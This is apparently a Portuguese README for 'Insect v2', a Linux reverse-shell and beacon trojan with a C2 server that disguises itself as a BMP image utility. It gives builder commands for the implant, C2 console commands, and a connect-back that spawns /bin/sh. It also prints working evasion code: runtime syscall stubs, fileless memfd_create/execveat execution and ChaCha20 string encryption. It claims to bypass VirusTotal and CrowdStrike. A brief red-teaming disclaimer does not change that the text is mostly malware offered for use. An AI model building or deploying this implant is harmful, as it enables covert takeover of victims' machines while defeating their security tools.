
Um shell reverso sem arquivo e framework C2 que utiliza syscalls diretas, tunelamento por proxy e criptografia ChaCha20 para evasão de AV.
Insect é um trojan C2 para payloads Linux de reverse shell e beacon sem arquivo. Este trojan se disfarça como um utilitário de processamento de imagens BMP de 24 bits. Ele usa Stubs de Syscall Dinâmicos, memfd_create, recursos de string criptografados com ChaCha20, proxy de túnel e ICC Profile Encryptor para evadir análise estática. O servidor C2 suporta 2 tipos de payloads, interativo e beacon.
A criação manual de syscalls é uma técnica antiga, mas para o Insect v2, refinei a forma como os stubs são construídos em tempo de execução para permanecer abaixo do radar dos scanners modernos. Ao construir syscalls dinamicamente, o payload evita as assinaturas padrão que os AVs estáticos normalmente detectam.
Em testes do mundo real, ele contornou com sucesso todos os engines do VirusTotal. Também o testei contra o CrowdStrike Falcon, onde recebeu uma "bandeira verde" sem detecções do engine estático. Durante a análise dinâmica, ele gerou apenas uma suspeita menor e, no final, também foi considerado seguro.
Aviso legal: O Insect V2 é um trabalho em andamento, e também não apoio nenhuma atividade ilegal. Você é livre para usá-lo para fins de red teaming. E modificá-lo.
server.py → console C2 multi-sessão
main.c → implante revshell (shell interativo)
main_beacon.c → implante beacon (polling orientado a tarefas)
Temos 2 perfis:
# Interactive reverse shell
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# Task-driven beacon
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
Ambos produzem um binário bmputil. O builder criptografa todas as strings em texto claro com ChaCha20 em tempo de build, criptografa o ELF compilado com uma máscara de perfil ICC, o divide entre seções ELF nomeadas e gera um stub loader.
python3 server.py
Inicia um listener em 0.0.0.0:8080 por padrão.
(insect) > list # show active sessions
(insect) > use rev-a1b2c3d4 # interact with a revshell
(insect) > task bea-deadbeef whoami # queue a command for a beacon
(insect) > tasks bea-deadbeef # view completed task results
(insect) > listen beacon 0.0.0.0 9090 # start an additional listener
(insect) > exit
As sessões são rastreadas por meio de um ID estático único de 4 bytes incorporado em tempo de build.
Ao executar na máquina alvo, o payload aceita argumentos fictícios para manter a legitimidade:
./bmputil input.bmp output.bmp --grayscale
Nos bastidores, ele faz fork, se conecta de volta ao C2 por meio de um túnel de handshake do Minecraft (playit.gg) e aguarda um gatilho 0xDEAD. Uma vez acionado, ele redireciona stdin/stdout/stderr para o socket e gera /bin/sh.
O servidor C2 mantém conexões revshell em um registro de sessões. Use use <id> para anexar seu terminal a uma sessão.
Beacons se conectam, se registram com seu beacon_id incorporado, verificam tarefas pendentes, as executam via fork + pipe + execve, relatam resultados, então dormem por 30 segundos e se reconectam.
Use task <id> <command> para enfileirar trabalho. Os resultados são armazenados em memória e visualizados com tasks <id>.
Ambos os perfis compartilham as mesmas primitivas de evasão:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
Como discutido anteriormente, os opcodes de syscall (0F 05) são construídos em tempo de execução em memória executável para evitar análise estática.
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
Toda string é criptografada em tempo de build com um nonce único. A máscara XOR nas constantes de estado bloqueia detecções baseadas em assinatura da configuração do ChaCha20.
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
O payload é executado inteiramente da memória via memfd_create + execveat.
Tecnicamente, memfd_create e execveat são detectados por AVs, mas eles são criptografados e construídos em tempo de execução e, surpreendentemente, em testes do mundo real, não são sinalizados.
O ELF intermediário é criptografado com XOR usando uma tabela de consulta de cores ICC com correção gama e uma chave aleatória de 32 bytes, depois dividido entre 8 seções nomeadas .rodata.blk*. O stub loader remonta, descriptografa e executa o ELF.
Este método não é nada novo, é na verdade uma técnica antiga, mas o insect v2 modifica e reimplementa técnicas mencionadas em vários writeups de segurança e malwares; você pode conferi-las aqui: